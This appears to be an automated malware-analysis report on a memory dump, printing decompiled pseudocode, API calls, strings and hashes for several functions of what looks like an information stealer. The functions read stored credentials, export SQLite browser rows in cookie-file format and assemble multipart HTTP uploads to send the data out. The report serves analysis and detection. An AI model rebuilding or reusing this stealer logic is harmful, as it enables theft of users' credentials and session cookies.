Function 00404A20, Relevance: 61.6, APIs: 29, Strings: 6, Instructions: 305
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 61%

			E00404A20(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, CHAR* _a12, intOrPtr _a16, intOrPtr _a20) {
				char _v8;
				char _v516;
				intOrPtr _v520;
				char _v1028;
				intOrPtr _v1032;
				char _v1548;
				CHAR* _v1552;
				long _v1556;
				char _v6556;
				intOrPtr _v6560;
				long _v6564;
				long _v6568;
				void* _v6572;
				intOrPtr _v6576;
				char _v8580;
				intOrPtr _v8584;
				char _v8588;
				void* _t100;
				CHAR* _t110;
				intOrPtr _t125;
				CHAR* _t131;
				CHAR* _t143;
				void* _t154;
				void* _t158;
				CHAR* _t187;
				intOrPtr _t189;
				CHAR* _t219;
				CHAR* _t224;
				CHAR* _t225;
				void* _t237;
				void* _t238;

				E00416530(0x2188);
				E0040B280(__ecx,  &_v6556, 0, 0x1388);
				E0040B2C0( &_v516, 0x1f4);
				E0040B2C0( &_v1548, 0x200);
				_t100 = RtlAllocateHeap( *0x420200(), 0, 0x800000); // executed
				_v1552 = _t100;
				E0040B2C0( &_v1028, 0x1f4);
				_v520 =  *0x4200e8(0, 1, 0, 0, 0);
				_v8 = 0x927c0;
				 *0x41fff4(_v520, 2,  &_v8, 4);
				_t243 = _v520;
				if(_v520 != 0) {
					_t110 = E0040B450( &_v8, _t243, 0x10);
					_t238 = _t238 + 4;
					lstrcatA( &_v516, _t110);
					lstrcatA(_v1552, 0x41d2dc);
					lstrcatA(_v1552, "------");
					lstrcatA(_v1552,  &_v516);
					lstrcatA(_v1552, "--");
					lstrcatA(_v1552, 0x41d2dc);
					_t187 =  *0x41f96c; // 0x55fae0
					lstrcatA( &_v1028, _t187);
					lstrcatA( &_v1028,  &_v516);
					_v6560 =  *0x4201fc(_v520, _a4, 0x50, 0, 0, 3, 0, 0);
					if(_v6560 != 0) {
						_t189 =  *0x41fa84; // 0x563688
						_t125 =  *0x41fd3c; // 0x562c30
						_v1032 =  *0x420240(_v6560, _t125, _a8, _t189, 0, 0, 0x400000, 0);
						if(_v1032 != 0) {
							lstrcatA( &_v1548, "------");
							lstrcatA( &_v1548,  &_v516);
							lstrcatA( &_v1548, 0x41d2dc);
							_t131 =  *0x41fa78; // 0x55aff0
							lstrcatA( &_v1548, _t131);
							_t219 =  *0x41f808; // 0x562c60
							lstrcatA( &_v1548, _t219);
							lstrcatA( &_v1548, "\"\r\n\r\n");
							lstrcatA( &_v1548, _a12);
							lstrcatA( &_v1548, 0x41d2dc);
							lstrcatA( &_v1548, "------");
							lstrcatA( &_v1548,  &_v516);
							lstrcatA( &_v1548, 0x41d2dc);
							_t143 =  *0x41fdec; // 0x560160
							lstrcatA( &_v1548, _t143);
							lstrcatA( &_v1548, _a12);
							lstrcatA( &_v1548, "\"\r\n");
							_t224 =  *0x41f7e8; // 0x55b0e0
							lstrcatA( &_v1548, _t224);
							lstrcatA( &_v1548, 0x41d2dc);
							_t225 =  *0x41fce4; // 0x55b230
							lstrcatA( &_v1548, _t225);
							lstrcatA( &_v1548, "\r\n\r\n");
							_t154 =  *0x42009c( &_v1548);
							_v1556 = _t154 + _a20 +  *0x42009c(_v1552);
							_t158 = RtlAllocateHeap( *0x420200(), 0, _v1556); // executed
							_v6572 = _t158;
							E00416170(_v6572,  &_v1548,  *0x42009c( &_v1548));
							E00416170( *0x42009c(_a20) + _v6572,  &_v1548, _a16);
							E00416170( *0x42009c( *0x42009c(_v1552)) + _a20 + _v6572,  &_v1548, _v1552);
							_t238 = _t238 + 0x24;
							 *0x4201cc(_v1032,  &_v1028,  *0x42009c( &_v1028, _v6572, _v1556));
							E0040B2C0( &_v6572, 4);
							_v6568 = 0;
							_v6564 = 0;
							_v6576 = 0x4000;
							while(1) {
								_v8584 =  *0x420114(_v1032,  &_v8580, 0x7cf,  &_v8588);
								if(_v8584 == 0 || _v8588 == 0) {
									break;
								}
								 *((char*)(_t237 + _v8588 - 0x2180)) = 0;
								lstrcatA( &_v6556,  &_v8580);
							}
						}
					}
				}
				 *0x4200e4(_v1032);
				 *0x4200e4(_v6560);
				 *0x4200e4(_v520);
				return E004047B0( &_v6556);
			}

0x00404a28
0x00404a3c
0x00404a4d
0x00404a5e
0x00404a71
0x00404a77
0x00404a89
0x00404a9e
0x00404aa4
0x00404aba
0x00404ac0
0x00404ac7
0x00404acf
0x00404ad4
0x00404adf
0x00404af1
0x00404b03
0x00404b17
0x00404b29
0x00404b3b
0x00404b41
0x00404b4f
0x00404b63
0x00404b86
0x00404b93
0x00404ba4
0x00404baf
0x00404bc2
0x00404bcf
0x00404be1
0x00404bf5
0x00404c07
0x00404c0d
0x00404c1a
0x00404c20
0x00404c2e
0x00404c40
0x00404c51
0x00404c63
0x00404c75
0x00404c89
0x00404c9b
0x00404ca1
0x00404cae
0x00404cbf
0x00404cd1
0x00404cd7
0x00404ce5
0x00404cf7
0x00404cfd
0x00404d0b
0x00404d1d
0x00404d2a
0x00404d44
0x00404d5a
0x00404d60
0x00404d82
0x00404da6
0x00404dda
0x00404ddf
0x00404e0c
0x00404e1b
0x00404e20
0x00404e2a
0x00404e34
0x00404e3e
0x00404e5e
0x00404e6b
0x00000000
0x00000000
0x00404e7e
0x00404e94
0x00404e94
0x00404e76
0x00404bcf
0x00404b93
0x00404ea3
0x00404eb0
0x00404ebd
0x00404ed6

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,00406386,0055C438,00562920,?,?,?,?,00001388), ref: 00404A71
lstrcatA.KERNEL32(?,00000000), ref: 00404ADF
lstrcatA.KERNEL32(?,0041D2DC), ref: 00404AF1
lstrcatA.KERNEL32(?,------), ref: 00404B03
lstrcatA.KERNEL32(?,?), ref: 00404B17
lstrcatA.KERNEL32(?,0041D2E8), ref: 00404B29
lstrcatA.KERNEL32(?,0041D2DC), ref: 00404B3B
lstrcatA.KERNEL32(?,0055FAE0), ref: 00404B4F
lstrcatA.KERNEL32(?,?), ref: 00404B63
lstrcatA.KERNEL32(?,------), ref: 00404BE1
lstrcatA.KERNEL32(?,?), ref: 00404BF5
lstrcatA.KERNEL32(?,0041D2DC), ref: 00404C07
lstrcatA.KERNEL32(?,0055AFF0), ref: 00404C1A
lstrcatA.KERNEL32(?,00562C60), ref: 00404C2E
lstrcatA.KERNEL32(?,"), ref: 00404C40
lstrcatA.KERNEL32(?,?), ref: 00404C51
lstrcatA.KERNEL32(?,0041D2DC), ref: 00404C63
lstrcatA.KERNEL32(?,------), ref: 00404C75
lstrcatA.KERNEL32(?,?), ref: 00404C89
lstrcatA.KERNEL32(?,0041D2DC), ref: 00404C9B
lstrcatA.KERNEL32(?,00560160), ref: 00404CAE
lstrcatA.KERNEL32(?,?), ref: 00404CBF
lstrcatA.KERNEL32(?,"), ref: 00404CD1
lstrcatA.KERNEL32(?,0055B0E0), ref: 00404CE5
lstrcatA.KERNEL32(?,0041D2DC), ref: 00404CF7
lstrcatA.KERNEL32(?,0055B230), ref: 00404D0B
lstrcatA.KERNEL32(?,), ref: 00404D1D
RtlAllocateHeap.NTDLL(00000000), ref: 00404D5A
lstrcatA.KERNEL32(?,00000000), ref: 00404E94

Strings

`,V, xrefs: 00404C20
", xrefs: 00404CC5
------, xrefs: 00404AF7, 00404BD5, 00404C69
", xrefs: 00404C34
0,V, xrefs: 00404BAF
, xrefs: 00404D11

Memory Dump Source

Source File: 00000011.00000002.852390347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: lstrcat$AllocateHeap
String ID: $"$"$------$0,V$`,V
API String ID: 116229782-2758812798
Opcode ID: 5f4ed7d673a2427caadf672a32a314ac7f038ed9bbbed9edeaf5007c3571c9bf
Instruction ID: 2b200962d06f157dcb13a9a061cd603f7601a8e51cd601717924d165f946ddbc
Opcode Fuzzy Hash: 5f4ed7d673a2427caadf672a32a314ac7f038ed9bbbed9edeaf5007c3571c9bf
Instruction Fuzzy Hash: D0D174B6A40318AFCB20DBA0DC49FDB73B9AB48700F4485D9B309A3181DB759A95CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00406760, Relevance: 54.5, APIs: 28, Strings: 3, Instructions: 297
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E00406760() {
				int _v8;
				int _v12;
				int _v16;
				int _v20;
				signed char _v21;
				char _v284;
				char _v540;
				char _v796;
				int _v800;
				struct _OSVERSIONINFOA _v956;
				int _v960;
				char _v1220;
				signed int _v1224;
				int _v1228;
				int _v1232;
				intOrPtr* _v1236;
				intOrPtr _v1240;
				char _v1241;
				intOrPtr _v1248;
				int _t100;
				CHAR* _t115;
				CHAR* _t118;
				CHAR* _t121;
				CHAR* _t127;
				CHAR* _t129;
				CHAR* _t132;
				CHAR* _t146;
				CHAR* _t153;
				intOrPtr _t158;
				CHAR* _t171;
				CHAR* _t172;
				CHAR* _t173;
				CHAR* _t174;
				CHAR* _t175;
				CHAR* _t177;
				CHAR* _t178;
				CHAR* _t180;
				CHAR* _t181;
				CHAR* _t185;
				CHAR* _t195;
				CHAR* _t196;
				CHAR* _t197;
				CHAR* _t198;
				CHAR* _t199;
				CHAR* _t201;
				CHAR* _t203;
				CHAR* _t204;
				CHAR* _t207;

				_v956.dwOSVersionInfoSize = 0;
				E00413730( &(_v956.dwMajorVersion), 0, 0x90);
				E00413730( &_v956, 0, 0x94);
				_v956.dwOSVersionInfoSize = 0x94;
				GetVersionExA( &_v956);
				if(_v956.dwMajorVersion != 6 || _v956.dwMinorVersion < 2) {
					_v1232 = 0;
				} else {
					_v1232 = 1;
				}
				_v21 = _v1232;
				_v20 = 0;
				_v960 = 0;
				_v16 = 0;
				_v12 = 0;
				_v8 = 0;
				_v800 = 0;
				_t158 =  *0x41fd14; // 0x563100
				_v960 =  *0x4201a4(_t158);
				if(_v960 == 0) {
					L23:
					 *0x420198(_v8);
					 *0x4200b8( &_v16);
					return  *0x420254(_v960);
				} else {
					_t100 =  *0x420158( &E0041EB30, 0,  &_v16); // executed
					_v20 = _t100;
					if(_v20 != 0) {
						goto L23;
					}
					_v20 =  *0x4201c0(_v16, 0x200,  &_v12,  &_v8);
					if(_v20 == 0 && _v12 != 0) {
						_v1224 = 0;
						while(_v1224 < _v12) {
							if((_v21 & 0x000000ff) == 0) {
								_v1228 = _v1224 * 0x34 + _v8;
								asm("repe cmpsd");
								if(0 != 0) {
									L22:
									_v1224 = _v1224 + 1;
									continue;
								}
								WideCharToMultiByte(0, 0,  *(_v1228 + 0x10), 0xffffffff,  &_v284, 0x100, 0, 0);
								_v1236 =  &_v284;
								_v1240 = _v1236 + 1;
								do {
									_v1241 =  *_v1236;
									_v1236 = _v1236 + 1;
								} while (_v1241 != 0);
								_v1248 = _v1236 - _v1240;
								if(_v1248 > 2) {
									WideCharToMultiByte(0, 0,  *(_v1228 + 0x10), 0xffffffff,  &_v284, 0x100, 0, 0);
									_t195 =  *0x41fae0; // 0x562ce0
									_t115 =  *0x41ffe0; // 0x0
									lstrcatA(_t115, _t195);
									_t196 =  *0x41ffe0; // 0x0
									lstrcatA(_t196,  &_v284);
									_t118 =  *0x41ffe0; // 0x0
									lstrcatA(_t118, "\n");
									_t171 =  *0x41f820; // 0x562c70
									_t197 =  *0x41ffe0; // 0x0
									lstrcatA(_t197, _t171);
									_t121 =  *0x41ffe0; // 0x0
									lstrcatA(_t121, "\n");
									_t172 =  *0x41f8f4; // 0x562cc0
									_t198 =  *0x41ffe0; // 0x0
									lstrcatA(_t198, _t172);
									_t173 =  *0x41ffe0; // 0x0
									lstrcatA(_t173,  &_v1220);
									_t199 =  *0x41ffe0; // 0x0
									lstrcatA(_t199, "\n");
									_t127 =  *0x41f81c; // 0x562cd0
									_t174 =  *0x41ffe0; // 0x0
									lstrcatA(_t174, _t127);
									_t129 =  *0x41ffe0; // 0x0
									lstrcatA(_t129,  &_v796);
									_t175 =  *0x41ffe0; // 0x0
									lstrcatA(_t175, "\n");
									_t201 =  *0x41f8fc; // 0x562d40
									_t132 =  *0x41ffe0; // 0x0
									lstrcatA(_t132, _t201);
									WideCharToMultiByte(0, 0,  *((intOrPtr*)(_v1228 + 0x14)) + 0x20, 0xffffffff,  &_v1220, 0x100, 0, 0);
									_t177 =  *0x41f8f4; // 0x562cc0
									_t203 =  *0x41ffe0; // 0x0
									lstrcatA(_t203, _t177);
									_t178 =  *0x41ffe0; // 0x0
									lstrcatA(_t178,  &_v1220);
									_t204 =  *0x41ffe0; // 0x0
									lstrcatA(_t204, "\n");
									WideCharToMultiByte(0, 0,  *((intOrPtr*)(_v1228 + 0x18)) + 0x20, 0xffffffff,  &_v796, 0x100, 0, 0);
									_t180 =  *0x41ffe0; // 0x0
									lstrcatA(_t180,  &_v796);
									_t207 =  *0x41ffe0; // 0x0
									lstrcatA(_t207, "\n");
									_t146 =  *0x41f8fc; // 0x562d40
									_t181 =  *0x41ffe0; // 0x0
									lstrcatA(_t181, _t146);
									_v800 = 0;
									_v20 =  *0x42012c(_v16, _v1228,  *((intOrPtr*)(_v1228 + 0x14)),  *((intOrPtr*)(_v1228 + 0x18)), 0, 0,  &_v800);
									if(_v20 == 0) {
										_v1228 = _v800;
										WideCharToMultiByte(0, 0,  *((intOrPtr*)(_v1228 + 0x1c)) + 0x20, 0xffffffff,  &_v540, 0x100, 0, 0);
										_t153 =  *0x41ffe0; // 0x0
										lstrcatA(_t153, 0x41d8e0);
									} else {
										_t185 =  *0x41ffe0; // 0x0
										lstrcatA(_t185,  &_v540);
									}
								}
								if(_v800 != 0) {
									 *0x420198(_v800);
								}
								goto L22;
							}
							goto L22;
						}
					}
					goto L23;
				}
			}

0x0040676b
0x00406783
0x00406799
0x004067a1
0x004067b2
0x004067bf
0x004067d6
0x004067ca
0x004067ca
0x004067ca
0x004067e6
0x004067e9
0x004067f0
0x004067fa
0x00406801
0x00406808
0x0040680f
0x00406819
0x00406826
0x00406833
0x00406bed
0x00406bf1
0x00406bfb
0x00406c13
0x00406839
0x00406844
0x0040684a
0x00406851
0x00000000
0x00000000
0x0040686e
0x00406875
0x00406885
0x004068a0
0x004068b5
0x004068c8
0x004068e0
0x004068e2
0x00406be8
0x0040689a
0x00000000
0x0040689a
0x00406908
0x00406914
0x00406923
0x00406929
0x00406931
0x00406937
0x0040693e
0x00406953
0x00406960
0x00406986
0x0040698c
0x00406993
0x00406999
0x004069a6
0x004069ad
0x004069b8
0x004069be
0x004069c4
0x004069cb
0x004069d2
0x004069dd
0x004069e3
0x004069e9
0x004069f0
0x004069f7
0x00406a04
0x00406a0b
0x00406a16
0x00406a1d
0x00406a23
0x00406a29
0x00406a30
0x00406a3d
0x00406a43
0x00406a4e
0x00406a55
0x00406a5b
0x00406a62
0x00406a68
0x00406a91
0x00406a97
0x00406a9e
0x00406aa5
0x00406ab2
0x00406ab9
0x00406ac4
0x00406acb
0x00406af4
0x00406b01
0x00406b08
0x00406b13
0x00406b1a
0x00406b20
0x00406b26
0x00406b2d
0x00406b33
0x00406b6d
0x00406b74
0x00406b92
0x00406bbb
0x00406bc6
0x00406bcc
0x00406b76
0x00406b7d
0x00406b84
0x00406b84
0x00406b74
0x00406bd9
0x00406be2
0x00406be2
0x00000000
0x00406bd9
0x00000000
0x004068b7
0x004068a0
0x00000000
0x00406875

APIs

_memset.LIBCMT ref: 00406783
_memset.LIBCMT ref: 00406799
GetVersionExA.KERNEL32(00000094), ref: 004067B2

Strings

,V, xrefs: 0040698C
@-V, xrefs: 00406A5B, 00406B20
p,V, xrefs: 004069C4

Memory Dump Source

Source File: 00000011.00000002.852390347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: _memset$Version
String ID: @-V$p,V$,V
API String ID: 4269076227-4189219453
Opcode ID: 701c394ec54c5831f0d20ae1f6d0c038ee145a4bf6cc3f1700d3980a96488b0d
Instruction ID: 9e22882a0cc8ad816466150cca4e1c674a47250bbd95988c8ba051be482521e7
Opcode Fuzzy Hash: 701c394ec54c5831f0d20ae1f6d0c038ee145a4bf6cc3f1700d3980a96488b0d
Instruction Fuzzy Hash: E8D176B1A00318AFDB64CF50DC45FEA77B9BB48704F1481A9E209A72D5C774AA86CF58

Uniqueness

Uniqueness Score: -1.00%

Function 004078D0, Relevance: 42.3, APIs: 22, Strings: 2, Instructions: 284
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 44%

			E004078D0(void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24) {
				char _v8;
				char _v12;
				char _v276;
				char _v540;
				CHAR* _v544;
				CHAR* _v548;
				CHAR* _v552;
				CHAR* _v556;
				CHAR* _v560;
				CHAR* _v564;
				CHAR* _v568;
				void* _t84;
				void* _t85;
				void* _t87;
				void* _t92;
				void* _t94;
				CHAR* _t106;
				CHAR* _t109;
				void* _t135;
				CHAR* _t137;
				CHAR* _t148;
				intOrPtr _t154;
				CHAR* _t162;
				CHAR* _t172;
				intOrPtr _t175;
				void* _t197;
				void* _t200;
				void* _t201;
				void* _t204;
				void* _t210;
				void* _t213;

				_t213 = __eflags;
				 *0x420038(0x104,  &_v540);
				lstrcatA( &_v540, "\\");
				lstrcatA( &_v540, E0040B450( &_v540, _t213, 8));
				 *0x420064(_a4,  &_v540, 1); // executed
				E0040B2C0( &_v276, 0x104);
				_t175 =  *0x41f938; // 0x563ea0
				 *0x420018( &_v276, _t175, _a12, _a8);
				_t84 =  *0x41ffd8( &_v540,  &_v8); // executed
				_t200 = _t197 + 0x1c;
				if(_t84 == 0) {
					_t154 =  *0x41fad8; // 0x537040
					_t87 =  *0x41ff90(_v8, _t154, 0xffffffff,  &_v12, 0); // executed
					_t201 = _t200 + 0x14;
					if(_t87 == 0) {
						_t92 = RtlAllocateHeap( *0x420200(), 0, 0xf423f); // executed
						_v544 = _t92;
						while(1) {
							_t94 =  *0x41ffac(_v12); // executed
							_t204 = _t201 + 4;
							if(_t94 != 0x64) {
								break;
							}
							_v560 =  *0x41ffc8(_v12, 0);
							_v548 =  *0x41ffc8(_v12, 1);
							_v568 =  *0x41ffc8(_v12, 2);
							_v552 =  *0x41ffc8(_v12, 3);
							_v564 =  *0x41ffc8(_v12, 4);
							_t106 =  *0x41ffc8(_v12, 5);
							_t210 = _t204 + 0x30;
							_v556 = _t106;
							_push("0");
							_t160 = _v548;
							_push(_v548);
							if( *0x4201dc() != 0) {
								E0040B280(_t160, _v548, 0, 4);
								_t109 =  *0x41f90c; // 0x562e90
								_t161 = _v548;
								lstrcatA(_v548, _t109);
							} else {
								E0040B280(_t160, _v548, 0, 4);
								_t148 =  *0x41fc38; // 0x562e20
								_t161 = _v548;
								lstrcatA(_v548, _t148);
							}
							_push("0");
							_push(_v552);
							if( *0x4201dc() != 0) {
								E0040B280(_t161, _v552, 0, 4);
								_t162 =  *0x41f90c; // 0x562e90
								lstrcatA(_v552, _t162);
							} else {
								E0040B280(_t161, _v552, 0, 4);
								_t172 =  *0x41fc38; // 0x562e20
								lstrcatA(_v552, _t172);
							}
							_t163 =  *_v564;
							if( *_v564 == 0x2d) {
								E0040B280(_t163, _v564, 0, 4);
								lstrcatA(_v564, "0");
							}
							lstrcatA(_v544, _v560);
							lstrcatA(_v544, "\t");
							lstrcatA(_v544, _v548);
							lstrcatA(_v544, "\t");
							lstrcatA(_v544, _v568);
							lstrcatA(_v544, "\t");
							lstrcatA(_v544, _v552);
							lstrcatA(_v544, "\t");
							lstrcatA(_v544, _v564);
							lstrcatA(_v544, "\t");
							lstrcatA(_v544, _v556);
							lstrcatA(_v544, "\t");
							_t135 =  *0x41ffb8(_v12, 6, _a16, _a20);
							_t137 = E00406DF0( *0x41ffc0(), _v12, 6, _t135);
							_t201 = _t210 + 0x20;
							lstrcatA(_v544, _t137);
							lstrcatA(_v544, "\n");
						}
						E004133B0(_a24,  &_v276, _v544,  *0x42009c(_v544)); // executed
						_t201 = _t204 + 0x10;
						E0040B2C0( &_v544, 4);
					}
					 *0x41ffb0(_v12);
					 *0x41ffdc(_v8); // executed
				}
				_t85 =  *0x4200a8( &_v540); // executed
				return _t85;
			}

0x004078d0
0x004078e5
0x004078f7
0x0040790f
0x00407922
0x00407934
0x00407941
0x0040794f
0x00407963
0x00407969
0x0040796e
0x0040797c
0x00407987
0x0040798d
0x00407992
0x004079a6
0x004079ac
0x004079b2
0x004079b6
0x004079bc
0x004079c2
0x00000000
0x00000000
0x004079d7
0x004079ec
0x00407a01
0x00407a16
0x00407a2b
0x00407a37
0x00407a3d
0x00407a40
0x00407a46
0x00407a4b
0x00407a51
0x00407a5a
0x00407a8c
0x00407a91
0x00407a97
0x00407a9e
0x00407a5c
0x00407a67
0x00407a6c
0x00407a72
0x00407a79
0x00407a79
0x00407aa4
0x00407aaf
0x00407ab8
0x00407aeb
0x00407af0
0x00407afe
0x00407aba
0x00407ac5
0x00407aca
0x00407ad8
0x00407ad8
0x00407b0a
0x00407b10
0x00407b1d
0x00407b2e
0x00407b2e
0x00407b42
0x00407b54
0x00407b68
0x00407b7a
0x00407b8e
0x00407ba0
0x00407bb4
0x00407bc6
0x00407bda
0x00407bec
0x00407c00
0x00407c12
0x00407c26
0x00407c40
0x00407c45
0x00407c50
0x00407c62
0x00407c62
0x00407c8d
0x00407c92
0x00407c9e
0x00407c9e
0x00407ca7
0x00407cb4
0x00407cba
0x00407cc4
0x00407ccd

APIs

lstrcatA.KERNEL32(?,004187CC), ref: 004078F7
lstrcatA.KERNEL32(?,00000000), ref: 0040790F
RtlAllocateHeap.NTDLL(00000000), ref: 004079A6
lstrcatA.KERNEL32(?,00562E20,?,00000000,00000004), ref: 00407A79
lstrcatA.KERNEL32(?,00562E90,?,00000000,00000004), ref: 00407A9E
lstrcatA.KERNEL32(?,00562E20,?,00000000,00000004), ref: 00407AD8
lstrcatA.KERNEL32(?,00562E90,?,00000000,00000004), ref: 00407AFE

Part of subcall function 00406DF0: _memset.LIBCMT ref: 00406E42
Part of subcall function 00406DF0: LocalAlloc.KERNEL32(00000040,?), ref: 00406E91
Part of subcall function 00406DF0: lstrcatA.KERNEL32(?,00000000,?,00001388), ref: 00406EF7

lstrcatA.KERNEL32(?,0041D320,?,00000000,00000004), ref: 00407B2E
lstrcatA.KERNEL32(?,?), ref: 00407B42
lstrcatA.KERNEL32(?,0041D92C), ref: 00407B54
lstrcatA.KERNEL32(?,?), ref: 00407B68
lstrcatA.KERNEL32(?,0041D92C), ref: 00407B7A
lstrcatA.KERNEL32(?,?), ref: 00407B8E
lstrcatA.KERNEL32(?,0041D92C), ref: 00407BA0
lstrcatA.KERNEL32(?,?), ref: 00407BB4
lstrcatA.KERNEL32(?,0041D92C), ref: 00407BC6
lstrcatA.KERNEL32(?,?), ref: 00407BDA
lstrcatA.KERNEL32(?,0041D92C), ref: 00407BEC
lstrcatA.KERNEL32(?,?), ref: 00407C00
lstrcatA.KERNEL32(?,0041D92C), ref: 00407C12
lstrcatA.KERNEL32(?,00000000), ref: 00407C50
lstrcatA.KERNEL32(?,0041D304), ref: 00407C62

Strings

.V, xrefs: 00407A6C, 00407ACA
@pS, xrefs: 0040797C

Memory Dump Source

Source File: 00000011.00000002.852390347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: lstrcat$AllocAllocateHeapLocal_memset
String ID: .V$@pS
API String ID: 75570893-1521710302
Opcode ID: 3d3a39fe31ad9b2c47d09a29d094130519487cd86202d1b727ddcb71f9965957
Instruction ID: 3422fe587030836b6222249b8303a2c954661a6643dd16534e8c2335e7aaf04a
Opcode Fuzzy Hash: 3d3a39fe31ad9b2c47d09a29d094130519487cd86202d1b727ddcb71f9965957
Instruction Fuzzy Hash: 6EB197B5A40218BBC720DFA4EC8DFEE7778AB58700F0085A9F605A7181C7759A96CF58

Uniqueness

Uniqueness Score: -1.00%

Function 0040A260, Relevance: 39.0, APIs: 1, Strings: 21, Instructions: 489
memoryCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E0040A260(void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				void* _t132;
				void* _t233;
				void* _t234;
				intOrPtr _t241;
				intOrPtr _t243;
				intOrPtr _t245;
				intOrPtr _t247;
				intOrPtr _t249;
				intOrPtr _t251;
				intOrPtr _t253;
				intOrPtr _t255;
				intOrPtr _t257;
				intOrPtr _t259;
				intOrPtr _t261;
				intOrPtr _t263;
				intOrPtr _t265;
				intOrPtr _t267;
				intOrPtr _t269;
				intOrPtr _t271;
				intOrPtr _t273;
				intOrPtr _t275;
				intOrPtr _t277;
				intOrPtr _t279;
				intOrPtr _t281;
				intOrPtr _t283;
				intOrPtr _t285;
				intOrPtr _t287;
				intOrPtr _t289;
				intOrPtr _t291;
				intOrPtr _t293;
				intOrPtr _t295;
				intOrPtr _t297;
				intOrPtr _t299;
				intOrPtr _t301;
				intOrPtr _t303;
				intOrPtr _t304;
				void* _t305;
				intOrPtr _t307;
				intOrPtr _t309;
				intOrPtr _t311;
				intOrPtr _t313;
				intOrPtr _t315;
				intOrPtr _t317;
				intOrPtr _t319;
				intOrPtr _t321;
				intOrPtr _t323;
				intOrPtr _t325;
				intOrPtr _t327;
				intOrPtr _t329;
				intOrPtr _t331;
				intOrPtr _t333;
				intOrPtr _t335;
				intOrPtr _t337;
				intOrPtr _t339;
				intOrPtr _t341;
				intOrPtr _t343;
				intOrPtr _t345;
				intOrPtr _t347;
				intOrPtr _t349;
				intOrPtr _t351;
				intOrPtr _t353;
				intOrPtr _t355;
				intOrPtr _t357;
				intOrPtr _t359;
				intOrPtr _t361;
				intOrPtr _t363;
				intOrPtr _t365;
				intOrPtr _t367;
				intOrPtr _t369;
				intOrPtr _t370;
				intOrPtr _t371;
				void* _t407;

				_t407 = __eflags;
				_t132 = RtlAllocateHeap( *0x420200(), 0, 0xf423f); // executed
				 *0x41ffe0 = _t132; // executed
				E00406C20(); // executed
				 *0x41ffe4 = 0;
				_t241 =  *0x41fa3c; // 0x562e50
				_t307 =  *0x41f9fc; // 0x55f4a8
				E00409F50(_t241, _t407, _t307, _t241, _a4, _a8, _a12, _a16); // executed
				_t243 =  *0x41f98c; // 0x5641a0
				_t309 =  *0x41ff48; // 0x563900
				E00409F50(_t243, _t407, _t309, _t243, _a4, _a8, _a12, _a16); // executed
				_t245 =  *0x41fef8; // 0x563fd8
				_t311 =  *0x41f84c; // 0x55f110
				E00409F50(_t245, _t407, _t311, _t245, _a4, _a8, _a12, _a16); // executed
				_t247 =  *0x41fa28; // 0x562e80
				_t313 =  *0x41ff74; // 0x563ae0
				E00409F50(_t247, _t407, _t313, _t247, _a4, _a8, _a12, _a16); // executed
				_t249 =  *0x41fccc; // 0x562e30
				_t315 =  *0x41fde0; // 0x563a20
				E00409F50(_t249, _t407, _t315, _t249, _a4, _a8, _a12, _a16); // executed
				_t251 =  *0x41fbd8; // 0x562e40
				_t317 =  *0x41ff80; // 0x563b00
				E00409F50(_t251, _t407, _t317, _t251, _a4, _a8, _a12, _a16); // executed
				_t253 =  *0x41fd74; // 0x562e60
				_t319 =  *0x41fb3c; // 0x5639a0
				E00409F50(_t253, _t407, _t319, _t253, _a4, _a8, _a12, _a16); // executed
				_t255 =  *0x41fc28; // 0x562ea0
				_t321 =  *0x41f818; // 0x55f4f8
				E00409F50(_t255, _t407, _t321, _t255, _a4, _a8, _a12, _a16); // executed
				_t257 =  *0x41f9f8; // 0x563fa8
				_t323 =  *0x41f918; // 0x5637e0
				E00409F50(_t257, _t407, _t323, _t257, _a4, _a8, _a12, _a16); // executed
				_t259 =  *0x41fb8c; // 0x5640e0
				_t325 =  *0x41f984; // 0x564188
				E00409F50(_t259, _t407, _t325, _t259, _a4, _a8, _a12, _a16); // executed
				_t261 =  *0x41f7d8; // 0x562ee0
				_t327 =  *0x41fd88; // 0x563a80
				E00409F50(_t261, _t407, _t327, _t261, _a4, _a8, _a12, _a16); // executed
				_t263 =  *0x41fdbc; // 0x562eb0
				_t329 =  *0x41fee0; // 0x55f048
				E00409F50(_t263, _t407, _t329, _t263, _a4, _a8, _a12, _a16); // executed
				_t265 =  *0x41fbf0; // 0x562da0
				_t331 =  *0x41fae4; // 0x563880
				E00409F50(_t265, _t407, _t331, _t265, _a4, _a8, _a12, _a16); // executed
				_t267 =  *0x41f844; // 0x562dc0
				_t333 =  *0x41fab0; // 0x55f070
				E00409F50(_t267, _t407, _t333, _t267, _a4, _a8, _a12, _a16); // executed
				_t269 =  *0x41fbec; // 0x562dd0
				_t335 =  *0x41fd34; // 0x55f098
				E00409F50(_t269, _t407, _t335, _t269, _a4, _a8, _a12, _a16); // executed
				_t271 =  *0x41fcf8; // 0x562e70
				_t337 =  *0x41ff0c; // 0x5639e0
				E00409F50(_t271, _t407, _t337, _t271, _a4, _a8, _a12, _a16); // executed
				_t273 =  *0x41fe88; // 0x562f40
				_t339 =  *0x41fe5c; // 0x563aa0
				E00409F50(_t273, _t407, _t339, _t273, _a4, _a8, _a12, _a16); // executed
				_t275 =  *0x41f8b0; // 0x563ff0
				_t341 =  *0x41f828; // 0x55f610
				E00409F50(_t275, _t407, _t341, _t275, _a4, _a8, _a12, _a16); // executed
				_t277 =  *0x41feb0; // 0x562de0
				_t343 =  *0x41fd70; // 0x5640c8
				E00409F50(_t277, _t407, _t343, _t277, _a4, _a8, _a12, _a16); // executed
				_t279 =  *0x41f8c4; // 0x564200
				_t345 =  *0x41fddc; // 0x55f6b0
				E00409F50(_t279, _t407, _t345, _t279, _a4, _a8, _a12, _a16); // executed
				_t281 =  *0x41fb94; // 0x562ec0
				_t347 =  *0x41fbc0; // 0x55af60
